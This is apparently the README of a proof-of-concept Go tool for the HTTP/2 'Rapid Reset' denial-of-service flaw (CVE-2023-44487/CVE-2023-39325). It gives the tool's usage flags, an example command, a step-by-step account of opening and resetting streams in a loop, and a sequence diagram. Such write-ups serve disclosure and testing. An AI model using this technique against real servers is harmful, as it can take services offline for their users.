This code is a PoC for CVE-2023-44487/CVE-2023-39325 using Cloudflare's blog post as a guide.
$ go run main.go --help
Usage of main:
-conns int
number of TCP connections to make to server (default 1)
-duration string
how long to send requests for, no value will run forever
-method string
HTTP method to use in requests (default "GET")
-path string
HTTP path to use in requests (default "/")
-target string
ip:port or dns name to target (default "127.0.0.1:7777")$ go run main.go -conns=10 -target=127.0.0.1:7777
...First, we establish a TLS connection with the target using ALPN to force HTTP/2:
rapidreset/main.go#L91-L94
rapidreset/main.go#L102
Next, we write the HTTP/2 client preface:
rapidreset/main.go#L108
We then buffer the write side, and create an HTTP/2 framer that will be used to send requests/resets down:
rapidreset/main.go#L113-L115
To make it a bit easier to work with, we enable illegal reads/writes:
rapidreset/main.go#L117-L118
After performing some HTTP/2 ceremony to ensure our connection is working:
rapidreset/main.go#L120-L123
rapidreset/main.go#L128
rapidreset/main.go#L133
We then flush those writes:
rapidreset/main.go#L138
And then start the main attack, opening/resetting streams:
rapidreset/main.go#L184-L209
sequenceDiagram
participant Client
participant Server
par number of TCP conns
Note over Client,Server: Assumes TCP + TLS established.
Client ->> Server: HTTP/2 Client Preface + Settings
Server -->> Client:
Client ->> Server: HTTP/2 Ping
Server -->> Client:
loop using same TCP conn
Note over Client: Increment Stream ID
Note over Client: Buffer Writes
Client->>Server: "(Header Frame + Reset Frame) · N"
Server -->> Client:
end
end